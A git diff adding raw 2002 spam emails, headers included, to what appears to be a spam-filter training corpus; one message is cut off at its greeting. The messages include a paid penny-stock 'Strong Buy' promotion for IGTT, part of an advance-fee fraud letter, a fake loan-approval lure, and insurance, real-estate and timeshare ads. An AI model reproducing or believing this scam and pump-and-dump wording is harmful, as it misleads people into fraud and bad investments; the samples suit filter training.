phone lines of white farmers are bugged by the government. + I expect 100% confidentiality and your prompt response to +this mail so as to proceed.you may also reach me on stanleywoodwork@email.com + + +Kind regards, + +Stanley Woodwork. + + + + + + diff --git a/bayes/spamham/spam_2/01190.04029d5cadc5b15d91cfed47a7a2e94d b/bayes/spamham/spam_2/01190.04029d5cadc5b15d91cfed47a7a2e94d new file mode 100644 index 0000000..808401f --- /dev/null +++ b/bayes/spamham/spam_2/01190.04029d5cadc5b15d91cfed47a7a2e94d @@ -0,0 +1,242 @@ +From AGNES@btinternet.com Tue Jul 30 17:29:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7A1364406D + for ; Tue, 30 Jul 2002 12:29:44 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 17:29:44 +0100 (IST) +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6UGKYp11930 + for ; Tue, 30 Jul 2002 17:20:34 +0100 +Received: from 210.97.99.2 (unknown [212.62.87.8]) + by smtp.easydns.com (Postfix) with SMTP id 2FF142BDF5 + for ; Tue, 30 Jul 2002 12:20:15 -0400 (EDT) +Received: from rly-xl04.mx.aol.com ([161.143.46.72]) by m10.grp.snv.yahoo.com with QMQP; Jul, 30 2002 11:07:52 AM +0400 +Received: from [195.98.27.144] by web13708.mail.yahoo.com with smtp; Jul, 30 2002 10:19:56 AM -0700 +Received: from 82.60.152.190 ([82.60.152.190]) by smtp4.cyberec.com with QMQP; Jul, 30 2002 9:20:43 AM -0100 +From: Aler +To: yyyy@netnoteinc.com +Cc: +Subject: Telecom Consolidation Begins to Accelerate.................... qsv +Sender: Aler +Mime-Version: 1.0 +Date: Tue, 30 Jul 2002 11:24:05 -0500 +X-Mailer: Microsoft Outlook Build 10.0.2627 +X-Priority: 1 +Message-Id: <20020730162015.2FF142BDF5@smtp.easydns.com> +Content-Type: text/html; charset="iso-8859-1" + + + +IGTT + + + + +
    + + + + +
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    +

    Vol. +6, Issue 243 - August 2002

    +

    The +Wall Street Bulletin

    +
    +
    Your +First Source For News From "The Street"
    +

    Symbol: IGTT
    +Shares Outstanding: 373,400,0000
    +Float (est.): 52,560,000
    +Short-Term Target: $3.75
    +52 week High/Low: $1.10/0.02
    +Rating: Strong Buy

    +

    Our last pick +Symphony Telecom (OTCBB: SYPY) went UP 100% in just one week!!!

    +

    InDigiNet Identifies +Acquisition Targets with Combined Revenues of $35 Million...

    +

     

    +

    Telecom Consolidation Begins to Accelerate +

    +

    The Wall Street Bulletin believes +that the recent +investment of capital into Level 3, lead by Warren Buffett, +is further proof of the continued validity of the telecommunication +market when looked at from the perspective of the small to mid-sized +enterprises. After the boom and bust comes the revival. For some +carriers drowning in debt, such as Global Crossing and WorldCom, +the future may be dim. But for those survivors of the industry +that have managed to remain on their feet, other companies' problems +mean opportunity. "Every major industry in the history of +the United States has experienced a similar transformation, from +the railroads in the late 1800s to the automakers in the mid-1900s +to the Dot-Coms at the end of the 20th century," says Robert +Saunders, director of the Eastern Management Group market +research firm. Christopher +Dean, CTO of OSS company Eftia, says "We are seeing all +the people that are the survivors. There's all this pent-up money +and for the surviving carriers out there, they can get what used +to cost a few billion for a few millions." Read the full +story from Telecommunications Magazine - See the link at the end +of this newsletter.

    +

    As we write this report, our New Recommendation +InDigiNet, Inc. (OTCBB: +IGTT) has only been trading on the OTC Bulletin Board since +late May of 2002. As InDigiNet, Inc. continues to implement its +business plan, we believe this company will help lead the way +up for the resurgence of the Telecom Sector. This could be our +strongest recommendation of the year. We are giving IGTT our Highest +Rating of STRONG BUY/AGGRESSIVE GROWTH.

    +

     

    +

    Ground Floor Opportunity / Tremendous +Growth Potential

    +

    We believe IGTT will perform equally to, if not +greater than its competition. A similar telecommunications company, +Talk America Holdings (Nasdaq: TALK), share +price began to explode in April of this year moving from just +over $0.40/share to over $4.00/share in late June. Talk America +Holdings previously had a market cap of only $24.51 million, but +today has a market cap of $267 million.

    +

    IGTT curently has a market cap of $22.42 million. +Using the TALK model for potential growth, IGTT could very well +be trading in the .60 range in only a few months, with a market +cap in excess of $250 million. This would be an increase of 1000%. +So you see why IGTT has such great potential and the time is right + for investors to get in on the ground floor.

    +

     

    +

    The InDigNet Strategy

    +

    InDigiNet, Inc. is an integrated solutions company +that provides small to mid-sized enterprises (SMEs) with an integrated +communication solution. InDigiNet is a prestigious "Diamond" +level partner of Avaya, as well as a reseller for Cisco and +Compaq. The Company will offer data, local, long distance and +wireless services to SMEs over third party networks enabling the +Company to offer a comprehensive suite of services without the +capital burden of building a communication network. The Company’s +strategy is to acquire the customer bases of smaller, single market +communication companies and attractively priced Internet +Service Providers (ISPs). The Company recently completed +its acquisitions of Fox Telecommunications and WBConnect. +InDigiNet will then expand the breadth of their services to grow +revenue and enhance profitability. SMEs account for $120 billion +in commercial telephony, data services and technology spending, +or 33% of the country’s total market, and this spending +is expected to grow at above average rates over the next ten years. +Source: Morgan Stanley Dean Witter.

    +

    The IGTT web site: www.indiginet.com

    +

     

    +

    The IT Market

    +

    Based on recent studies, the country’s 7.4 +million SMEs currently lag significantly in the utilization of +IT and data +communications, including Internet access, web services, business +software and e-commerce. Worldwide IT spending increased to $981 +billion US for the year, an overall increase of 3.7 percent over +2001, according to a study released 7/24/2002 by market researcher +IDC. IT spending in 2003 is expected to reach record heights, +growing by 9 percent worldwide to top the $1 trillion mark for +the first time. In IDC's revised forecasts for IT spending in +2002 and 2003, IT spending in the US is expected to increase by +3 percent this year over 2001 to $436 billion, with further growth +of 9 percent in 2003. Western Europe can expect growth of 4 percent +in 2002 and 6 percent in 2003. Though Japan will experience flat +growth levels this year, by next year growth in the market will +return to the tune of 7 percent with particular strength shown +in China, India, Korea, Russia, the Philippines, South Africa +and Poland. Source: IDC

    +

     

    +

    Particulars

    +

    The Wall Street Bulletin is putting IGTT on our +Strong Buy/Aggressive Growth recommendation list for the following +reasons:

    +

    1. The Company's strategy is to acquire the customer +bases of smaller, single-market communication companies and attractively +priced Internet Service Providers (ISPs). The Company will sell +its bundled service package to the acquired customer base that +will form a direct and immediate distribution channel for all +types of communication services - local, long distance, wireless, +and data.

    +


    +2. The Company is currently serving many customers in the Denver/Front +Range communities but in particular the education vertical market +has recognized the value of integrating a wireless broadband data +network into the existing campus network. The Company's customers +include United States Olympic Committee +(USOC), University of Denver, +and Colorado State University. +

    +


    +3. The Company has identified approximately $35,000,000 in revenues +to acquire comprised of distressed assets to be auctioned in bankruptcy +court and smaller communication providers with valuable customer +bases. Each of the targeted companies are within the Company's +footprint and will, subject to purchase completion, increase the +Company's embedded customer base.

    +

     

    +

    Investment Consideration

    +

    InDigiNet Inc recently filed its 10QSB, for the +three months ended March 31, 2002. IGTT reported Revenues of $339,694 +in Q1 2002 vs. Revenues of $0 in Q1 2001. At this current growth +rate, revenues should grow above $1.3 million for their first +year of production with no increases in acquisitions. As more +and more large corporations come under government scrutiny, investors +will turn to small to mid-sized companies with their investment +dollars.

    +

     

    +

    NEWS - InDigiNet, Inc. Completes Acquisition of +Fox Telecommunications, Inc. - PRNewswire - CLICK +HERE

    +

    NEWS - InDigiNet, Inc. Completes Acquisition of +WBConnect - PRNewswire - CLICK +HERE

    +

     

    +

    NEWS - Telecom Consolidation Begins to Accelerate +- from Telecommunications Magazine - CLICK +HERE

    +

     

    +

    Industry Interests - Telecommunications Websites: +TIA Online - Telecommunications +Magazine - IT World

    +

     

    +

    The Wall +Street Bulletin is an independent newsletter and is not affiliated +with InDigiNet, Inc.

    +

     

    +

    The Wall Street Bulletin is an independent +research firm. This report is based on The Wall Street Bulletin’s +independent analysis but also relies on information supplied by +sources believed to be reliable. This report may not be the opinion +of IGTT management. The Wall Street Bulletin has also been retained +to research and issue reports on IGTT and was paid ten thousand +dollars by a shareholder of the company. The Wall Street Bulletin +may from time to time buy or sell IGTT common shares in the open +market without notice. The information contained in this report +is not intended to be, and shall not constitute, an offer to sell +or solicitation of any offer to buy any security. It is intended +for information only. Some statements may contain so-called “forward-looking +statements”. Many factors could cause actual results to +differ. Investors should consult with their Investment Advisor +concerning IGTT. Copyright 2002 © The Wall Street Bulletin +- All Rights Reserved

    +

    I no longer wish to receive your +newsletter CLICK +HERE

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    + + + +tahnorrjilisgoyymddppqw + + diff --git a/bayes/spamham/spam_2/01191.3a3ed1eb843a56504a4b40a25a63f97f b/bayes/spamham/spam_2/01191.3a3ed1eb843a56504a4b40a25a63f97f new file mode 100644 index 0000000..78b1593 --- /dev/null +++ b/bayes/spamham/spam_2/01191.3a3ed1eb843a56504a4b40a25a63f97f @@ -0,0 +1,45 @@ +From aa1555813m60@lycos.com Wed Jul 31 12:41:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7ECC54406D + for ; Wed, 31 Jul 2002 07:41:12 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 12:41:12 +0100 (IST) +Received: from lycos.com ([61.232.200.98]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6VBY6p14602 + for ; Wed, 31 Jul 2002 12:34:07 +0100 +Received: from [52.252.215.40] by n7.groups.huyahoo.com with smtp; 30 Jul 2002 02:32:26 +0900 +Reply-To: +Message-ID: <035c00d73e3e$1636a4c2$3cb25ce1@pamktb> +From: +To: Consolidate.*@netnoteinc.com +Subject: ** Your approval! +Date: Tue, 30 Jul 2002 14:27:33 -0300 +MiME-Version: 1.0 +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: AOL 7.0 for Windows US sub 118 +Importance: Normal +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00D1_50E24C7B.C3584B84" + +------=_NextPart_000_00D1_50E24C7B.C3584B84 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + + +PGh0bWw+DQo8Ym9keT4NCjxmb250IGNvbG9yPSJmZmZmZmYiPmRyYXdlcjwv +Zm9udD4NCjxwPllvdXIgaG9tZSByZWZpbmFuY2UgbG9hbiBpcyBhcHByb3Zl +ZCE8YnI+PC9wPjxicj4NCjxwPlRvIGdldCB5b3VyIGFwcHJvdmVkIGFtb3Vu +dCA8YSBocmVmPSJodHRwOi8vd3d3Lm1vcnRnYWdlcG93ZXI0LmNvbSI+Z28N +CmhlcmU8L2E+LjwvcD4NCjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48 +YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxi +cj4NCjxwPlRvIGJlIGV4Y2x1ZGVkIGZyb20gZnVydGhlciBub3RpY2VzIDxh +IGhyZWY9Imh0dHA6Ly93d3cubW9ydGdhZ2Vwb3dlcjQuY29tL3JlbW92ZS5o +dG1sIj5nbw0KaGVyZTwvYT4uPC9wPg0KPGZvbnQgY29sb3I9ImZmZmZmZiI+ +ZHJhd2VyPC9mb250Pg0KPC9ib2R5Pg0KPGZvbnQgY29sb3I9ImZmZmZmZiI+ +MWdhdGUNCjwvaHRtbD4NCjk1NjBqQVRLMy02MzdoS3B2NTg5MnRFWnM1LTE0 +MENMR1oxMDY3THFXeDQtNzcwRGFmQjU0NDB6Y3RsNTU= + + diff --git a/bayes/spamham/spam_2/01192.ae36c1ea662d5daa57777838507cceef b/bayes/spamham/spam_2/01192.ae36c1ea662d5daa57777838507cceef new file mode 100644 index 0000000..7c9e4b8 --- /dev/null +++ b/bayes/spamham/spam_2/01192.ae36c1ea662d5daa57777838507cceef @@ -0,0 +1,245 @@ +From fork-admin@xent.com Tue Jul 30 18:51:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB2FC4407C + for ; Tue, 30 Jul 2002 13:51:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 18:51:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6UHqT209293 for ; + Tue, 30 Jul 2002 18:52:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 811F629409C; Tue, 30 Jul 2002 10:50:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from w2kweb1.gosecurenet.com (unknown [65.112.170.51]) by + xent.com (Postfix) with ESMTP id AE055294098 for ; + Tue, 30 Jul 2002 10:49:04 -0700 (PDT) +Received: from mail pickup service by w2kweb1.gosecurenet.com with + Microsoft SMTPSVC; Tue, 30 Jul 2002 10:31:13 -0700 +From: +To: +Subject: ADV: buyers sellers agents loans +MIME-Version: 1.0 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Message-Id: +X-Originalarrivaltime: 30 Jul 2002 17:31:13.0246 (UTC) FILETIME=[E6B98FE0:01C237EE] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 30 Jul 2002 10:31:12 -0700 +Content-Type: multipart/alternative; boundary="----=_NextPart_000_1B9FC_01C237B4.3A3BBE30" + +This is a multi-part message in MIME format. + +------=_NextPart_000_1B9FC_01C237B4.3A3BBE30 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + + + + +Home for Sale? +List with us! + +Buying a home is an important step in your life and quite possibly the +largest purchase you will ever make. A trustworthy and reliable agent is +what you're looking for but often times it can be difficult to find a +real estate agent deserving of your trust. + +Through recommendations and client evaluations we've assembled a +national association of Christian Real Estate Agents + dedicated to fair business +practices and the teachings of our savior. + +Christian Agents, Lenders, Appraisers and Inspectors: Click Here + to learn more about joining our +family of Christian Real Estate Professionals + +Follow these easy steps and +we'll take care of the rest... + +1. Describe the property you are looking using our Buyer's Information +Form . + +2. Our Christian Living Real Estate Associate Agent contacts you at your +convenience to get a better understanding of your specific real estate +needs. + +3. Our Christian Living Real Estate Associate Agent suggests properties +that fit your criteria and arranges for you to view the properties that +interest you. + +4. During the decision making process, our Associate Christian Agent +provides reliable and honest guidance to get you the best possible deal. + +5. When you've decided on a property to purchase, our agent makes all +the necessary preparations to ensure a trouble free transaction. + + + +To be removed from this list click here + + + +------=_NextPart_000_1B9FC_01C237B4.3A3BBE30 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +for home buyers + + + + + +
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    5. When you've decided = +on a=20 + property to purchase, our agent makes all the necessary=20 + preparations to ensure a trouble free = +transaction.

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    + + + + +
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    +

    Vol. +6, Issue 243 - August 2002

    +

    The +Wall Street Bulletin

    +
    +
    Your +First Source For News From "The Street"
    +

    Symbol: IGTT
    +Shares Outstanding: 373,400,0000
    +Float (est.): 52,560,000
    +Short-Term Target: $3.75
    +52 week High/Low: $1.10/0.02
    +Rating: Strong Buy

    +

    Our last pick +Symphony Telecom (OTCBB: SYPY) went UP 100% in just one week!!!

    +

    InDigiNet Identifies +Acquisition Targets with Combined Revenues of $35 Million...

    +

     

    +

    Telecom Consolidation Begins to Accelerate +

    +

    The Wall Street Bulletin believes +that the recent +investment of capital into Level 3, lead by Warren Buffett, +is further proof of the continued validity of the telecommunication +market when looked at from the perspective of the small to mid-sized +enterprises. After the boom and bust comes the revival. For some +carriers drowning in debt, such as Global Crossing and WorldCom, +the future may be dim. But for those survivors of the industry +that have managed to remain on their feet, other companies' problems +mean opportunity. "Every major industry in the history of +the United States has experienced a similar transformation, from +the railroads in the late 1800s to the automakers in the mid-1900s +to the Dot-Coms at the end of the 20th century," says Robert +Saunders, director of the Eastern Management Group market +research firm. Christopher +Dean, CTO of OSS company Eftia, says "We are seeing all +the people that are the survivors. There's all this pent-up money +and for the surviving carriers out there, they can get what used +to cost a few billion for a few millions." Read the full +story from Telecommunications Magazine - See the link at the end +of this newsletter.

    +

    As we write this report, our New Recommendation +InDigiNet, Inc. (OTCBB: +IGTT) has only been trading on the OTC Bulletin Board since +late May of 2002. As InDigiNet, Inc. continues to implement its +business plan, we believe this company will help lead the way +up for the resurgence of the Telecom Sector. This could be our +strongest recommendation of the year. We are giving IGTT our Highest +Rating of STRONG BUY/AGGRESSIVE GROWTH.

    +

     

    +

    Ground Floor Opportunity / Tremendous +Growth Potential

    +

    We believe IGTT will perform equally to, if not +greater than its competition. A similar telecommunications company, +Talk America Holdings (Nasdaq: TALK), share +price began to explode in April of this year moving from just +over $0.40/share to over $4.00/share in late June. Talk America +Holdings previously had a market cap of only $24.51 million, but +today has a market cap of $267 million.

    +

    IGTT curently has a market cap of $22.42 million. +Using the TALK model for potential growth, IGTT could very well +be trading in the .60 range in only a few months, with a market +cap in excess of $250 million. This would be an increase of 1000%. +So you see why IGTT has such great potential and the time is right + for investors to get in on the ground floor.

    +

     

    +

    The InDigNet Strategy

    +

    InDigiNet, Inc. is an integrated solutions company +that provides small to mid-sized enterprises (SMEs) with an integrated +communication solution. InDigiNet is a prestigious "Diamond" +level partner of Avaya, as well as a reseller for Cisco and +Compaq. The Company will offer data, local, long distance and +wireless services to SMEs over third party networks enabling the +Company to offer a comprehensive suite of services without the +capital burden of building a communication network. The Company’s +strategy is to acquire the customer bases of smaller, single market +communication companies and attractively priced Internet +Service Providers (ISPs). The Company recently completed +its acquisitions of Fox Telecommunications and WBConnect. +InDigiNet will then expand the breadth of their services to grow +revenue and enhance profitability. SMEs account for $120 billion +in commercial telephony, data services and technology spending, +or 33% of the country’s total market, and this spending +is expected to grow at above average rates over the next ten years. +Source: Morgan Stanley Dean Witter.

    +

    The IGTT web site: www.indiginet.com

    +

     

    +

    The IT Market

    +

    Based on recent studies, the country’s 7.4 +million SMEs currently lag significantly in the utilization of +IT and data +communications, including Internet access, web services, business +software and e-commerce. Worldwide IT spending increased to $981 +billion US for the year, an overall increase of 3.7 percent over +2001, according to a study released 7/24/2002 by market researcher +IDC. IT spending in 2003 is expected to reach record heights, +growing by 9 percent worldwide to top the $1 trillion mark for +the first time. In IDC's revised forecasts for IT spending in +2002 and 2003, IT spending in the US is expected to increase by +3 percent this year over 2001 to $436 billion, with further growth +of 9 percent in 2003. Western Europe can expect growth of 4 percent +in 2002 and 6 percent in 2003. Though Japan will experience flat +growth levels this year, by next year growth in the market will +return to the tune of 7 percent with particular strength shown +in China, India, Korea, Russia, the Philippines, South Africa +and Poland. Source: IDC

    +

     

    +

    Particulars

    +

    The Wall Street Bulletin is putting IGTT on our +Strong Buy/Aggressive Growth recommendation list for the following +reasons:

    +

    1. The Company's strategy is to acquire the customer +bases of smaller, single-market communication companies and attractively +priced Internet Service Providers (ISPs). The Company will sell +its bundled service package to the acquired customer base that +will form a direct and immediate distribution channel for all +types of communication services - local, long distance, wireless, +and data.

    +


    +2. The Company is currently serving many customers in the Denver/Front +Range communities but in particular the education vertical market +has recognized the value of integrating a wireless broadband data +network into the existing campus network. The Company's customers +include United States Olympic Committee +(USOC), University of Denver, +and Colorado State University. +

    +


    +3. The Company has identified approximately $35,000,000 in revenues +to acquire comprised of distressed assets to be auctioned in bankruptcy +court and smaller communication providers with valuable customer +bases. Each of the targeted companies are within the Company's +footprint and will, subject to purchase completion, increase the +Company's embedded customer base.

    +

     

    +

    Investment Consideration

    +

    InDigiNet Inc recently filed its 10QSB, for the +three months ended March 31, 2002. IGTT reported Revenues of $339,694 +in Q1 2002 vs. Revenues of $0 in Q1 2001. At this current growth +rate, revenues should grow above $1.3 million for their first +year of production with no increases in acquisitions. As more +and more large corporations come under government scrutiny, investors +will turn to small to mid-sized companies with their investment +dollars.

    +

     

    +

    NEWS - InDigiNet, Inc. Completes Acquisition of +Fox Telecommunications, Inc. - PRNewswire - CLICK +HERE

    +

    NEWS - InDigiNet, Inc. Completes Acquisition of +WBConnect - PRNewswire - CLICK +HERE

    +

     

    +

    NEWS - Telecom Consolidation Begins to Accelerate +- from Telecommunications Magazine - CLICK +HERE

    +

     

    +

    Industry Interests - Telecommunications Websites: +TIA Online - Telecommunications +Magazine - IT World

    +

     

    +

    The Wall +Street Bulletin is an independent newsletter and is not affiliated +with InDigiNet, Inc.

    +

     

    +

    The Wall Street Bulletin is an independent +research firm. This report is based on The Wall Street Bulletin’s +independent analysis but also relies on information supplied by +sources believed to be reliable. This report may not be the opinion +of IGTT management. The Wall Street Bulletin has also been retained +to research and issue reports on IGTT and was paid ten thousand +dollars by a shareholder of the company. The Wall Street Bulletin +may from time to time buy or sell IGTT common shares in the open +market without notice. The information contained in this report +is not intended to be, and shall not constitute, an offer to sell +or solicitation of any offer to buy any security. It is intended +for information only. Some statements may contain so-called “forward-looking +statements”. Many factors could cause actual results to +differ. Investors should consult with their Investment Advisor +concerning IGTT. Copyright 2002 © The Wall Street Bulletin +- All Rights Reserved

    +

    I no longer wish to receive your +newsletter CLICK +HERE

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    + + + diff --git a/bayes/spamham/spam_2/01199.5a219c9b3e55a0136d8039fd74675570 b/bayes/spamham/spam_2/01199.5a219c9b3e55a0136d8039fd74675570 new file mode 100644 index 0000000..69ffa7f --- /dev/null +++ b/bayes/spamham/spam_2/01199.5a219c9b3e55a0136d8039fd74675570 @@ -0,0 +1,408 @@ +From nt@insurancemail.net Wed Jul 31 00:07:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 85D304406D + for ; Tue, 30 Jul 2002 19:07:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 00:07:32 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6UN1I223314 for ; Wed, 31 Jul 2002 00:01:20 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Tue, 30 Jul 2002 19:00:55 -0400 +Subject: 15 Ways to Collect on a Life Policy +To: +Date: Tue, 30 Jul 2002 19:00:55 -0400 +From: "IQ - National Travelers" +Message-Id: <16a99e01c2381c$f5c874f0$6b01a8c0@insuranceiq.com> +X-Mailer: Microsoft CDO for Windows 2000 +MIME-Version: 1.0 +Thread-Index: AcI4CEyzjYzwpjaAR9mnVIiFyJLI7A== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 30 Jul 2002 23:00:55.0562 (UTC) FILETIME=[F5E76EA0:01C2381C] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_14C159_01C237E6.C5B22F30" + +This is a multi-part message in MIME format. + +------=_NextPart_000_14C159_01C237E6.C5B22F30 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + The Non-Death Life Policy + Critical Illness Life Insurance + + + This is not a terminal illness policy! + 15 Valuable Lifetime Benefits + +100% of the Face Amount +Heart Attack Stroke Invasive Cancer HIV (for Medical +Personnel) +Paralysis Organ Transplant Severe Burns Loss of +Independent Living +Terminal Illness Kidney Failure Blindness Death By Any +Cause + +25% of the Face Amount +Coronary Artery Bypass Non-invasive Cancer + +10% of the Face Amount +Coronary Angioplasty + + +Worksite Marketing Individual Sales + +? Guaranteed Issue for Groups of 25+ ? Up to $1,000,000 maximum + +? Electronic Enrollment ? Simplified Issue up to $100,000 +? Unlimited billing options ? Commission advance available + + Don't forget to ask about our matching retirement plan! +To learn more, please call us today! + 800-626-7980 +? or ? +Please fill out the form below for more information +Name: +Address: +City: State: Zip: +E-mail: +Phone: +Area of Interest: Worksite Individual Sales Both + Personal Producer Manager Number of Agents + + + + National Traveler's Life Co. +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_14C159_01C237E6.C5B22F30 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +15 Ways to Collect on a Life Policy + + + +
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+bGF0aW9ucyB0aGF0IHlvdQ0KbWF5IGhhdmUgY2F1c2VkLjwvTEk+DQo8L1VM +Pg0KDQo8Q0VOVEVSPg0KPFA+PEJSPjxCPjxGT05UIFNJWkU9Nz48QSBIUkVG +PSJodHRwOi8vd3d3LnBhZ2U0bGlmZS5vcmcvdXNlcnMveHh4ZGF0aW5nL21h +cnJpZWRhbmRsb25lbHkvcHJldmlldy5odG0iPkVOVEVSDQpTSVRFPC9BPjwv +Rk9OVD48L0I+PC9DRU5URVI+DQo8L1REPg0KPC9UUj4NCjwvVEFCTEU+PC9D +RU5URVI+DQoNCjxQIEFMSUdOPSJjZW50ZXIiPiZuYnNwOzwvUD4NCg0KPC9C +T0RZPg0KPC9IVE1MPg0KODIxNmpSRVg5LTc4NXZGako1N2wxOA== + + diff --git a/bayes/spamham/spam_2/01206.b769233047fc696cc02ece9629190b42 b/bayes/spamham/spam_2/01206.b769233047fc696cc02ece9629190b42 new file mode 100644 index 0000000..17348e0 --- /dev/null +++ b/bayes/spamham/spam_2/01206.b769233047fc696cc02ece9629190b42 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Wed Jul 31 07:25:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 335384406D + for ; Wed, 31 Jul 2002 02:25:20 -0400 (EDT) +Received: from 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+Content-Type: text/plain; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 02:18:46 -0400 +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6V6LQ206525 +Content-Transfer-Encoding: 8bit + +Interested in Renting or Selling your +Timeshare or Vacation Membership? + +We can help! + +For a FREE consultation, simply reply +with your name and telephone number. +Also include the name of your resort. +We will be in touch with you shortly! + + Have a great day! + +Removal instructions: +************************* +To be removed from this list please reply with "remove" in the subject. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01207.c24e5ee957e060ad511b5d2b875ff222 b/bayes/spamham/spam_2/01207.c24e5ee957e060ad511b5d2b875ff222 new file mode 100644 index 0000000..b4b57df --- /dev/null +++ b/bayes/spamham/spam_2/01207.c24e5ee957e060ad511b5d2b875ff222 @@ -0,0 +1,87 @@ +From ufadq@mailme.dk Wed Jul 31 09:47:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 57C4A4406D + for ; Wed, 31 Jul 2002 04:47:28 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 09:47:28 +0100 (IST) +Received: from wins.lacompanies.com ([206.160.170.2]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6V8lep14163 + for ; Wed, 31 Jul 2002 09:47:40 +0100 +Message-Id: <200207310847.g6V8lep14163@mandark.labs.netnoteinc.com> +Received: by wins.lacompanies.com with Internet Mail Service (5.5.2653.19) + id ; Wed, 31 Jul 2002 03:47:32 -0500 +Received: from 80.24.137.7 (80-24-137-7.uc.nombres.ttd.es [80.24.137.7]) by wins.lacompanies.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id NM1FH60Y; Wed, 31 Jul 2002 03:47:27 -0500 +From: BRIDGET +To: 100670.3527@compuserve.com +Cc: 925336@pager.icq.com, camerored@aol.com, heathmor@yahoo.com, + chemasp@jazzfree.com, vgdb73a@prodigy.com, htchoclt@aol.com, + kydthe2@yahoo.com, gregcollins@seanet.com, + a_goddard@excelforlife.com, babyboo19@msn.com +Date: Wed, 31 Jul 2002 03:50:08 -0500 +Subject: Clean up your act! +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Precedence-Ref: l234056789zxcv +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + +Dear Computer User 100670.3527 , + + + +

